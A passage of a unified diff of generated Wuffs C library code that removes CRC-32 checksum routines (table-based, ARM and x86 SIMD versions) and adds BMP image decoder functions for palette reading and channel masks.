WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ +- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ +- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ +- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ +- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ +- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ +- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ +- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ +- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ +- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ +- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ +- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ +- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ +- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ +- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); +- v_p.ptr += 16; +- } +- v_p.len = 16; +- uint8_t* i_end1_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16); +- while (v_p.ptr < i_end1_p) { +- v_s ^= ((((uint32_t)(v_p.ptr[0u])) << 0u) | +- (((uint32_t)(v_p.ptr[1u])) << 8u) | +- (((uint32_t)(v_p.ptr[2u])) << 16u) | +- (((uint32_t)(v_p.ptr[3u])) << 24u)); +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][v_p.ptr[15u]] ^ +- WUFFS_CRC32__IEEE_TABLE[1u][v_p.ptr[14u]] ^ +- WUFFS_CRC32__IEEE_TABLE[2u][v_p.ptr[13u]] ^ +- WUFFS_CRC32__IEEE_TABLE[3u][v_p.ptr[12u]] ^ +- WUFFS_CRC32__IEEE_TABLE[4u][v_p.ptr[11u]] ^ +- WUFFS_CRC32__IEEE_TABLE[5u][v_p.ptr[10u]] ^ +- WUFFS_CRC32__IEEE_TABLE[6u][v_p.ptr[9u]] ^ +- WUFFS_CRC32__IEEE_TABLE[7u][v_p.ptr[8u]] ^ +- WUFFS_CRC32__IEEE_TABLE[8u][v_p.ptr[7u]] ^ +- WUFFS_CRC32__IEEE_TABLE[9u][v_p.ptr[6u]] ^ +- WUFFS_CRC32__IEEE_TABLE[10u][v_p.ptr[5u]] ^ +- WUFFS_CRC32__IEEE_TABLE[11u][v_p.ptr[4u]] ^ +- WUFFS_CRC32__IEEE_TABLE[12u][(255u & (v_s >> 24u))] ^ +- WUFFS_CRC32__IEEE_TABLE[13u][(255u & (v_s >> 16u))] ^ +- WUFFS_CRC32__IEEE_TABLE[14u][(255u & (v_s >> 8u))] ^ +- WUFFS_CRC32__IEEE_TABLE[15u][(255u & (v_s >> 0u))]); +- v_p.ptr += 16; +- } +- v_p.len = 1; +- uint8_t* i_end2_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end2_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- v_p.len = 0; ++ ++ ok: ++ self->private_impl.p_tell_me_more = 0; ++ goto exit; + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; + } + +-// -------- func crc32.ieee_hasher.checksum_u32 ++// -------- func bmp.decoder.do_tell_me_more + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_crc32__ieee_hasher__checksum_u32( +- const wuffs_crc32__ieee_hasher* self) { +- if (!self) { +- return 0; ++static wuffs_base__status ++wuffs_bmp__decoder__do_tell_me_more( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ if (self->private_impl.f_io_redirect_fourcc <= 1u) { ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); ++ goto exit; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 1u, ++ self->private_impl.f_io_redirect_fourcc, ++ 0u, ++ self->private_impl.f_io_redirect_pos, ++ 18446744073709551615u); + } ++ self->private_impl.f_io_redirect_fourcc = 1u; + +- return self->private_impl.f_state; ++ goto ok; ++ ok: ++ goto exit; ++ exit: ++ return status; + } + +-// ‼ WUFFS MULTI-FILE SECTION +arm_crc32 +-// -------- func crc32.ieee_hasher.up_arm_crc32 ++// -------- func bmp.decoder.workbuf_len + +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_arm_crc32( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- wuffs_base__slice_u8 v_p = {0}; +- uint32_t v_s = 0; +- +- v_s = (4294967295u ^ self->private_impl.f_state); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s = __crc32b(v_s, a_x.ptr[0u]); +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_bmp__decoder__workbuf_len( ++ const wuffs_bmp__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 8; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 128) * 128); +- while (v_p.ptr < i_end0_p) { +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- } +- v_p.len = 8; +- uint8_t* i_end1_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8); +- while (v_p.ptr < i_end1_p) { +- v_s = __crc32d(v_s, wuffs_base__peek_u64le__no_bounds_check(v_p.ptr)); +- v_p.ptr += 8; +- } +- v_p.len = 1; +- uint8_t* i_end2_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end2_p) { +- v_s = __crc32b(v_s, v_p.ptr[0u]); +- v_p.ptr += 1; +- } +- v_p.len = 0; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ return wuffs_base__utility__make_range_ii_u64(0u, 0u); + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) +-// ‼ WUFFS MULTI-FILE SECTION -arm_crc32 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 +-// -------- func crc32.ieee_hasher.up_x86_avx2 ++// -------- func bmp.decoder.read_palette + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_avx2( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s = 0; +- wuffs_base__slice_u8 v_p = {0}; +- __m128i v_k = {0}; +- __m128i v_x0 = {0}; +- __m128i v_x1 = {0}; +- __m128i v_x2 = {0}; +- __m128i v_x3 = {0}; +- __m128i v_y0 = {0}; +- __m128i v_y1 = {0}; +- __m128i v_y2 = {0}; +- __m128i v_y3 = {0}; +- uint64_t v_tail_index = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__read_palette( ++ wuffs_bmp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_s = (4294967295u ^ self->private_impl.f_state); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ a_x.ptr[0u])] ^ (v_s >> 8u)); +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ uint32_t v_i = 0; ++ uint32_t v_argb = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if (((uint64_t)(a_x.len)) < 64u) { +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ ++ uint32_t coro_susp_point = self->private_impl.p_read_palette; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_read_palette.v_i; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_bitmap_info_len == 12u) { ++ while ((v_i < 256u) && (self->private_impl.f_padding >= 3u)) { ++ self->private_impl.f_padding -= 3u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { ++ t_0 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ iop_a_src += 3; ++ } else { ++ self->private_data.s_read_palette.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_read_palette.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 16) { ++ t_0 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_argb = t_0; ++ } ++ v_argb |= 4278190080u; ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; ++ } ++ } else { ++ while ((v_i < 256u) && (self->private_impl.f_padding >= 4u)) { ++ self->private_impl.f_padding -= 4u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_read_palette.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_read_palette.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_argb = t_1; ++ } ++ v_argb |= 4278190080u; ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); ++ v_i += 1u; + } +- v_p.len = 0; + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); +- } +- v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); +- v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); +- v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); +- v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); +- v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K1K2)); +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, 64u); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 64; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64); +- while (v_p.ptr < i_end0_p) { +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_y1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_y2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(0u)); +- v_y3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(17u)); +- v_x2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(17u)); +- v_x3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(_mm_xor_si128(v_x0, v_y0), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 0u))); +- v_x1 = _mm_xor_si128(_mm_xor_si128(v_x1, v_y1), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u))); +- v_x2 = _mm_xor_si128(_mm_xor_si128(v_x2, v_y2), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 32u))); +- v_x3 = _mm_xor_si128(_mm_xor_si128(v_x3, v_y3), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 48u))); +- v_p.ptr += 64; ++ while (v_i < 256u) { ++ self->private_data.f_src_palette[((4u * v_i) + 0u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 1u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 2u)] = 0u; ++ self->private_data.f_src_palette[((4u * v_i) + 3u)] = 255u; ++ v_i += 1u; + } +- v_p.len = 0; ++ ++ goto ok; ++ ok: ++ self->private_impl.p_read_palette = 0; ++ goto exit; + } +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K3K4)); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x2); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x3); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_x1 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(16u)); +- v_x2 = _mm_set_epi32((int32_t)(0u), (int32_t)(4294967295u), (int32_t)(0u), (int32_t)(4294967295u)); +- v_x0 = _mm_srli_si128(v_x0, (int32_t)(8u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ)); +- v_x1 = _mm_srli_si128(v_x0, (int32_t)(4u)); +- v_x0 = _mm_and_si128(v_x0, v_x2); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_PXMU)); +- v_x1 = _mm_and_si128(v_x0, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(16u)); +- v_x1 = _mm_and_si128(v_x1, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_s = ((uint32_t)(_mm_extract_epi32(v_x0, (int32_t)(1u)))); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551552u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; +- } +- v_p.len = 0; +- } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_read_palette = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_read_palette.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); ++ ++ return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) +-// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-// -------- func crc32.ieee_hasher.up_x86_sse42 ++// -------- func bmp.decoder.process_masks + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_crc32__ieee_hasher__up_x86_sse42( +- wuffs_crc32__ieee_hasher* self, +- wuffs_base__slice_u8 a_x) { +- uint32_t v_s = 0; +- wuffs_base__slice_u8 v_p = {0}; +- __m128i v_k = {0}; +- __m128i v_x0 = {0}; +- __m128i v_x1 = {0}; +- __m128i v_x2 = {0}; +- __m128i v_x3 = {0}; +- __m128i v_y0 = {0}; +- __m128i v_y1 = {0}; +- __m128i v_y2 = {0}; +- __m128i v_y3 = {0}; +- uint64_t v_tail_index = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__process_masks( ++ wuffs_bmp__decoder* self) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_s = (4294967295u ^ self->private_impl.f_state); +- while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ a_x.ptr[0u])] ^ (v_s >> 8u)); +- a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); +- } +- if (((uint64_t)(a_x.len)) < 64u) { +- { +- wuffs_base__slice_u8 i_slice_p = a_x; +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 1; +- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; +- while (v_p.ptr < i_end0_p) { +- v_s = (WUFFS_CRC32__IEEE_TABLE[0u][(((uint8_t)(v_s)) ^ v_p.ptr[0u])] ^ (v_s >> 8u)); +- v_p.ptr += 1; ++ uint32_t v_i = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_n = 0; ++ ++ while (v_i < 4u) { ++ v_mask = self->private_impl.f_channel_masks[v_i]; ++ if (v_mask != 0u) { ++ v_n = 0u; ++ while ((v_mask & 1u) == 0u) { ++ v_n += 1u; ++ v_mask >>= 1u; + } +- v_p.len = 0; +- } +- self->private_impl.f_state = (4294967295u ^ v_s); +- return wuffs_base__make_empty_struct(); +- } +- v_x0 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)); +- v_x1 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); +- v_x2 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); +- v_x3 = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); +- v_x0 = _mm_xor_si128(v_x0, _mm_cvtsi32_si128((int32_t)(v_s))); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K1K2)); +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, 64u); +- v_p.ptr = i_slice_p.ptr; +- v_p.len = 64; +- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64); +- while (v_p.ptr < i_end0_p) { +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_y1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_y2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(0u)); +- v_y3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(17u)); +- v_x2 = _mm_clmulepi64_si128(v_x2, v_k, (int32_t)(17u)); +- v_x3 = _mm_clmulepi64_si128(v_x3, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(_mm_xor_si128(v_x0, v_y0), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 0u))); +- v_x1 = _mm_xor_si128(_mm_xor_si128(v_x1, v_y1), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u))); +- v_x2 = _mm_xor_si128(_mm_xor_si128(v_x2, v_y2), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 32u))); +- v_x3 = _mm_xor_si128(_mm_xor_si128(v_x3, v_y3), _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 48u))); +- v_p.ptr += 64; +- } +- v_p.len = 0; +- } +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K3K4)); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x2); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_y0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(17u)); +- v_x0 = _mm_xor_si128(v_x0, v_x3); +- v_x0 = _mm_xor_si128(v_x0, v_y0); +- v_x1 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(16u)); +- v_x2 = _mm_set_epi32((int32_t)(0u), (int32_t)(4294967295u), (int32_t)(0u), (int32_t)(4294967295u)); +- v_x0 = _mm_srli_si128(v_x0, (int32_t)(8u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_K5ZZ)); +- v_x1 = _mm_srli_si128(v_x0, (int32_t)(4u)); +- v_x0 = _mm_and_si128(v_x0, v_x2); +- v_x0 = _mm_clmulepi64_si128(v_x0, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_k = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC32__IEEE_X86_SSE42_PXMU)); +- v_x1 = _mm_and_si128(v_x0, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(16u)); +- v_x1 = _mm_and_si128(v_x1, v_x2); +- v_x1 = _mm_clmulepi64_si128(v_x1, v_k, (int32_t)(0u)); +- v_x0 = _mm_xor_si128(v_x0, v_x1); +- v_s = ((uint32_t)(_mm_extract_epi32(v_x0, (int32_t)(1u)))); +- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551552u); +- if (v_tail_index < ((uint64_t)(a_x.len))) { +- { +- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); +- v_p.ptr = 